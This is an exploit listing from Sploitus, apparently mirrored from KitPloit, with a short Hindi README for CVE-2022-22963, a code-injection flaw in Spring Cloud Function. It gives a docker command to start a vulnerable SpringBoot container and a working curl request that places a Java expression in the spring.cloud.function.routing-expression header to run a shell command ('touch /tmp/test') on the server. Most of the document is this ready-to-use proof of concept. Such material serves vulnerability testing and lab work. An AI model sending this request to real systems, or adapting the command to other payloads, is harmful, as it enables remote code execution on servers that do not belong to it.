Sploitus

Exploit for CVE-2022-22963

kitploit · 2026-08-26

Exploit Code

MARKDOWN28 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-DARRYK10-CVE-2022-22963
# CVE-2022-22963 - Spring4shell

कमजोर SpringBoot एप्लिकेशन चलाने के लिए इस डॉकर कंटेनर को पोर्ट 8080 पर एक्सपोज़ करते हुए चलाएं। उदाहरण:

root@kitploit:~
    
    
    docker run -it -d -p 8080:8080 bobcheat/springboot-public
    

## एक्सप्लॉइट

Curl कमांड:

root@kitploit:~
    
    
    curl -i -s -k -X $'POST' -H $'Host: 192.168.1.2:8080' -H $'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec(\"touch /tmp/test")' --data-binary $'exploit_poc' $'http://192.168.1.2:8080/functionRouter'
    

या Burp सूट का उपयोग करके:

![Burpsuite](https://assets.kitploit.com/production/public/readmes/5204/2afb7b24ea849b0282c473c7ba6f97dbebb46418d895d3516b6364b79e41b001.png)

## श्रेय

https://github.com/hktalent/spring-spel-0day-poc